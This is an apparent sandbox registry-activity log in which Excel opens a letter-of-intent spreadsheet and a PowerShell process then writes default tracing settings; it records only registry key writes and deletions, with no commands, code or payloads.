(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\excel\ConfigContextData
Operation:	write	Name:	ChunkCount
Value: uint64_t\|14
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\excel\ConfigContextData
Operation:	write	Name:	ChunkCount
Value: uint64_t\|15
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\excel\ConfigContextData
Operation:	write	Name:	ChunkCount
Value: uint64_t\|16
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\excel\ConfigContextData
Operation:	write	Name:	ChunkCount
Value: uint64_t\|17
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\excel\ConfigContextData
Operation:	write	Name:	ChunkCount
Value: uint64_t\|18
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\excel\ConfigContextData
Operation:	write	Name:	ChunkCount
Value: uint64_t\|19
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\excel\ConfigContextData
Operation:	write	Name:	VersionId
Value: uint16_t\|0
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\excel
Operation:	write	Name:	ETag
Value: std::wstring\|"4yGaP9umlC2QLEF161FJ601F1hiu230OKPim8DEV3Vk="
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\excel
Operation:	write	Name:	Expires
Value: int64_t\|1595667333
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\excel
Operation:	write	Name:	DeferredConfigs
Value: std::wstring\|ofsh6c2b1tla1a31,ofcrui4yvdulbf31,ofhpex3jznepoo31,ofaa1msspvo2xw31,ofgg6vdq3anjh131,of3ttwdwizkwt531,ofskuekmq22yki31
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\Common\CrashPersistence\EXCEL\4580
Operation:	write	Name:	0
Value: 0B0E101D32BF610AC392449F757F82F56F1BC1230046FEA98B96CCBF98EB016A0410240044FA5D64A89E01008500A907556E6B6E6F776EC9062E22347947615039756D6C4332514C4546313631464A36303146316869753233304F4B50696D3844455633566B3D2200
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Excel\Resiliency\StartupItems
Operation:	write	Name:	v<-
Value: 763C2D00E411000000000040010000002E8E65C5FC61D6018800000002000000780000000400000063003A005C00750073006500720073005C00610064006D0069006E005C006400650073006B0074006F0070005C006C00650074007400650072006F00660069006E00740065006E0074002D00650063006B006800610072007400680065006C00690063006F0070007400650072002E0078006C007300000000000000
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Excel\Resiliency\DocumentRecovery\2629F457
Operation:	write	Name:	2629F457
Value: 04000000E41100003B00000043003A005C00550073006500720073005C00610064006D0069006E005C004400650073006B0074006F0070005C004C00650074007400650072006F00660049006E00740065006E0074002D00450063006B006800610072007400680065006C00690063006F0070007400650072002E0078006C007300000000001700000043003A005C00550073006500720073005C00610064006D0069006E005C004400650073006B0074006F0070005C000100000000000000E06D65C5FC61D60157F4292657F4292600000000E0020000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Excel\Resiliency\DocumentRecovery\2629F457
Operation:	write	Name:	2629F457
Value: 04000000E41100003B00000043003A005C00550073006500720073005C00610064006D0069006E005C004400650073006B0074006F0070005C004C00650074007400650072006F00660049006E00740065006E0074002D00450063006B006800610072007400680065006C00690063006F0070007400650072002E0078006C007300000000001700000043003A005C00550073006500720073005C00610064006D0069006E005C004400650073006B0074006F0070005C000100000000000000E06D65C5FC61D60157F4292657F4292600000000E0020000001800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\Common\ExdCache\Excel8.0
Operation:	write	Name:	MSForms
Value: 1
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\Common\ExdCache\Excel8.0
Operation:	write	Name:	MSComctlLib
Value: 1
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\VBA\Forms3\Controls
Operation:	write	Name:	EnableActiveXControlArchitetureIndependent
Value: 0
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\VBA\Forms3\Controls
Operation:	write	Name:	EnableActiveXControlMSWebBrowserArchiteturePersistenceIssue
Value: 0
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Excel\Resiliency\DocumentRecovery\2629F457
Operation:	write	Name:	2629F457
Value: 04000000E41100003B00000043003A005C00550073006500720073005C00610064006D0069006E005C004400650073006B0074006F0070005C004C00650074007400650072006F00660049006E00740065006E0074002D00450063006B006800610072007400680065006C00690063006F0070007400650072002E0078006C007300000000001700000043003A005C00550073006500720073005C00610064006D0069006E005C004400650073006B0074006F0070005C000100000000000000E06D65C5FC61D60157F4292657F4292600000000E0020000001800000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Excel\Resiliency\DocumentRecovery\2629F457
Operation:	delete value	Name:	2629F457
Value: 04000000E41100003B00000043003A005C00550073006500720073005C00610064006D0069006E005C004400650073006B0074006F0070005C004C00650074007400650072006F00660049006E00740065006E0074002D00450063006B006800610072007400680065006C00690063006F0070007400650072002E0078006C007300000000001700000043003A005C00550073006500720073005C00610064006D0069006E005C004400650073006B0074006F0070005C000100000000000000E06D65C5FC61D60157F4292657F4292600000000E0020000001800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Excel\Resiliency\DocumentRecovery\2629F457
Operation:	delete key	Name:
Value:
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Excel\Resiliency\DocumentRecovery
Operation:	delete key	Name:
Value:
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Excel\Resiliency\StartupItems
Operation:	delete value	Name:	v<-
Value: 763C2D00E411000000000040010000002E8E65C5FC61D6018800000002000000780000000400000063003A005C00750073006500720073005C00610064006D0069006E005C006400650073006B0074006F0070005C006C00650074007400650072006F00660069006E00740065006E0074002D00650063006B006800610072007400680065006C00690063006F0070007400650072002E0078006C007300000000000000
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Excel\Resiliency\DocumentRecovery\2629FBBA
Operation:	write	Name:	2629FBBA
Value: 04000000E41100003B00000043003A005C00550073006500720073005C00610064006D0069006E005C004400650073006B0074006F0070005C004C00650074007400650072006F00660049006E00740065006E0074002D00450063006B006800610072007400680065006C00690063006F0070007400650072002E0078006C007300000000001700000043003A005C00550073006500720073005C00610064006D0069006E005C004400650073006B0074006F0070005C000100000001000000F65686BBFC61D601BAFB2926BAFB292600000000E00200006E0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\TargetedMessagingService\MessageMetadata\0_MsgId:BizBar
Operation:	delete key	Name:
Value:
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\TargetedMessagingService\MessageData\1:en-US:BizBar
Operation:	write	Name:	TransactionId
Value:
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\TargetedMessagingService\MessageMetadata\0_MsgId:BizBar
Operation:	write	Name:	AppIdOnAction
Value: 4294967295
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\TargetedMessagingService\MessageMetadata\0_MsgId:BizBar
Operation:	write	Name:	CallDelta
Value: 86400
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\TargetedMessagingService\MessageMetadata\0_MsgId:BizBar
Operation:	write	Name:	MaxWait
Value: 2000
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\TargetedMessagingService\MessageMetadata\0_MsgId:BizBar
Operation:	write	Name:	MessageId
Value: 0
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\TargetedMessagingService\MessageMetadata\0_MsgId:BizBar
Operation:	write	Name:	Provider
Value: 0
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\TargetedMessagingService\MessageMetadata\0_MsgId:BizBar
Operation:	write	Name:	SetUserAction
Value: 0
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\TargetedMessagingService\MessageMetadata\0_MsgId:BizBar
Operation:	write	Name:	ShouldShowBadging
Value: 0
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\TargetedMessagingService\MessageMetadata\0_MsgId:BizBar
Operation:	write	Name:	TimeToNextcall
Value: 2020-07-25T20:55:35Z
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\TargetedMessagingService\MessageMetadata\0_MsgId:Office_CanvasBoot_Win32
Operation:	delete key	Name:
Value:
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\TargetedMessagingService\MessageMetadata\0_MsgId:Office_CanvasLocalSaveDocument_Win32
Operation:	delete key	Name:
Value:
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\TargetedMessagingService\MessageData\1:en-US:Office_CanvasBoot_Win32
Operation:	write	Name:	TransactionId
Value:
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\TargetedMessagingService\MessageMetadata\0_MsgId:Office_CanvasBoot_Win32
Operation:	write	Name:	AppIdOnAction
Value: 4294967295
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\TargetedMessagingService\MessageMetadata\0_MsgId:Office_CanvasBoot_Win32
Operation:	write	Name:	CallDelta
Value: 86400
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\TargetedMessagingService\MessageMetadata\0_MsgId:Office_CanvasBoot_Win32
Operation:	write	Name:	MaxWait
Value: 2000
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\TargetedMessagingService\MessageMetadata\0_MsgId:Office_CanvasBoot_Win32
Operation:	write	Name:	MessageId
Value: 0
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\TargetedMessagingService\MessageMetadata\0_MsgId:Office_CanvasBoot_Win32
Operation:	write	Name:	Provider
Value: 0
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\TargetedMessagingService\MessageMetadata\0_MsgId:Office_CanvasBoot_Win32
Operation:	write	Name:	SetUserAction
Value: 0
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\TargetedMessagingService\MessageMetadata\0_MsgId:Office_CanvasBoot_Win32
Operation:	write	Name:	ShouldShowBadging
Value: 0
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\TargetedMessagingService\MessageMetadata\0_MsgId:Office_CanvasBoot_Win32
Operation:	write	Name:	TimeToNextcall
Value: 2020-07-25T20:55:35Z
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\TargetedMessagingService\MessageData\1:en-US:Office_CanvasLocalSaveDocument_Win32
Operation:	write	Name:	TransactionId
Value:
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\TargetedMessagingService\MessageMetadata\0_MsgId:Office_CanvasLocalSaveDocument_Win32
Operation:	write	Name:	AppIdOnAction
Value: 4294967295
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\TargetedMessagingService\MessageMetadata\0_MsgId:Office_CanvasLocalSaveDocument_Win32
Operation:	write	Name:	CallDelta
Value: 86400
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\TargetedMessagingService\MessageMetadata\0_MsgId:Office_CanvasLocalSaveDocument_Win32
Operation:	write	Name:	MaxWait
Value: 2000
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\TargetedMessagingService\MessageMetadata\0_MsgId:Office_CanvasLocalSaveDocument_Win32
Operation:	write	Name:	MessageId
Value: 0
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\TargetedMessagingService\MessageMetadata\0_MsgId:Office_CanvasLocalSaveDocument_Win32
Operation:	write	Name:	Provider
Value: 0
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\TargetedMessagingService\MessageMetadata\0_MsgId:Office_CanvasLocalSaveDocument_Win32
Operation:	write	Name:	SetUserAction
Value: 0
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\TargetedMessagingService\MessageMetadata\0_MsgId:Office_CanvasLocalSaveDocument_Win32
Operation:	write	Name:	ShouldShowBadging
Value: 0
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\TargetedMessagingService\MessageMetadata\0_MsgId:Office_CanvasLocalSaveDocument_Win32
Operation:	write	Name:	TimeToNextcall
Value: 2020-07-25T20:55:35Z
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\TargetedMessagingService\MessageMetadata\0_MsgId:Office_CanvasOutSpaceSaveAs_Win32
Operation:	delete key	Name:
Value:
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\TargetedMessagingService\MessageData\1:en-US:Office_CanvasOutSpaceSaveAs_Win32
Operation:	write	Name:	TransactionId
Value:
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\TargetedMessagingService\MessageMetadata\0_MsgId:Office_CanvasOutSpaceSaveAs_Win32
Operation:	write	Name:	AppIdOnAction
Value: 4294967295
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\TargetedMessagingService\MessageMetadata\0_MsgId:Office_CanvasOutSpaceSaveAs_Win32
Operation:	write	Name:	CallDelta
Value: 86400
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\TargetedMessagingService\MessageMetadata\0_MsgId:Office_CanvasOutSpaceSaveAs_Win32
Operation:	write	Name:	MaxWait
Value: 2000
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\TargetedMessagingService\MessageMetadata\0_MsgId:Office_CanvasOutSpaceSaveAs_Win32
Operation:	write	Name:	MessageId
Value: 0
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\TargetedMessagingService\MessageMetadata\0_MsgId:Office_CanvasOutSpaceSaveAs_Win32
Operation:	write	Name:	Provider
Value: 0
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\TargetedMessagingService\MessageMetadata\0_MsgId:Office_CanvasOutSpaceSaveAs_Win32
Operation:	write	Name:	SetUserAction
Value: 0
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\TargetedMessagingService\MessageMetadata\0_MsgId:Office_CanvasOutSpaceSaveAs_Win32
Operation:	write	Name:	ShouldShowBadging
Value: 0
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\TargetedMessagingService\MessageMetadata\0_MsgId:Office_CanvasOutSpaceSaveAs_Win32
Operation:	write	Name:	TimeToNextcall
Value: 2020-07-25T20:55:35Z
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\TargetedMessagingService\MessageMetadata\0_MsgId:Office_InAppPurchase_Win32
Operation:	delete key	Name:
Value:
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\TargetedMessagingService\MessageData\1:en-US:Office_InAppPurchase_Win32
Operation:	write	Name:	TransactionId
Value:
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Excel\File MRU
Operation:	write	Name:	FOLDERID_Desktop
Value: C:\Users\admin\Desktop\
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Excel\File MRU
Operation:	write	Name:	FOLDERID_Documents
Value: C:\Users\admin\Documents\
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\TargetedMessagingService\MessageMetadata\0_MsgId:Office_InAppPurchase_Win32
Operation:	write	Name:	AppIdOnAction
Value: 4294967295
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Excel\Place MRU
Operation:	write	Name:	FOLDERID_Desktop
Value: C:\Users\admin\Desktop\
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\TargetedMessagingService\MessageMetadata\0_MsgId:Office_InAppPurchase_Win32
Operation:	write	Name:	CallDelta
Value: 86400
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\TargetedMessagingService\MessageMetadata\0_MsgId:Office_InAppPurchase_Win32
Operation:	write	Name:	MaxWait
Value: 2000
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\TargetedMessagingService\MessageMetadata\0_MsgId:Office_InAppPurchase_Win32
Operation:	write	Name:	MessageId
Value: 0
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Excel\Place MRU
Operation:	write	Name:	FOLDERID_Documents
Value: C:\Users\admin\Documents\
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\TargetedMessagingService\MessageMetadata\0_MsgId:Office_InAppPurchase_Win32
Operation:	write	Name:	Provider
Value: 0
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\TargetedMessagingService\MessageMetadata\0_MsgId:Office_InAppPurchase_Win32
Operation:	write	Name:	SetUserAction
Value: 0
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\TargetedMessagingService\MessageMetadata\0_MsgId:Office_InAppPurchase_Win32
Operation:	write	Name:	ShouldShowBadging
Value: 0
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\TargetedMessagingService\MessageMetadata\0_MsgId:Office_InAppPurchase_Win32
Operation:	write	Name:	TimeToNextcall
Value: 2020-07-25T20:55:36Z
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Excel\File MRU
Operation:	write	Name:	Item 1
Value: [F00000000][T01D661FCC7AB3F30][O00000000]*C:\Users\admin\Desktop\LetterofIntent-Eckharthelicopter.xls
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Excel\Place MRU
Operation:	write	Name:	Item 1
Value: [F00000000][T01D661FCC7C57DF0][O00000000]*C:\Users\admin\Desktop\
(PID) Process:	(1948) powershell.exe	Key:	HKEY_CLASSES_ROOT\Local Settings\MuiCache\196\52C64B7E
Operation:	write	Name:	LanguageList
Value: en-US
(PID) Process:	(1948) powershell.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:	write	Name:	EnableFileTracing
Value: 0
(PID) Process:	(1948) powershell.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:	write	Name:	EnableAutoFileTracing
Value: 0
(PID) Process:	(1948) powershell.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:	write	Name:	EnableConsoleTracing
Value: 0
(PID) Process:	(1948) powershell.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:	write	Name:	FileTracingMask
Value: 4294901760
(PID) Process:	(1948) powershell.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:	write	Name:	ConsoleTracingMask
Value: 4294901760
(PID) Process:	(1948) powershell.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:	write	Name:	MaxFileSize
Value: 1048576
(PID) Process:	(1948) powershell.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:	write	Name:	FileDirectory
Value: %windir%\tracing
(PID) Process:	(1948) powershell.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
Operation:	write	Name:	EnableFileTracing
Value: 0
(PID) Process:	(1948) powershell.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
Operation:	write	Name:	EnableAutoFileTracing
Value: 0
(PID) Process:	(1948) powershell.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
Operation:	write	Name:	EnableConsoleTracing
Value: 0
(PID) Process:	(1948) powershell.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
Operation:	write	Name:	FileTracingMask
Value: 4294901760
(PID) Process:	(1948) powershell.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
Operation:	write	Name:	ConsoleTracingMask
Value: 4294901760
(PID) Process:	(1948) powershell.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
Operation:	write	Name:	MaxFileSize
Value: 1048576
(PID) Process:	(1948) powershell.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
Operation:	write	Name:	FileDirectory
Value: %windir%\tracing
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content
Operation:	write	Name:	CachePrefix
Value:
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies
Operation:	write	Name:	CachePrefix
Value: Cookie:
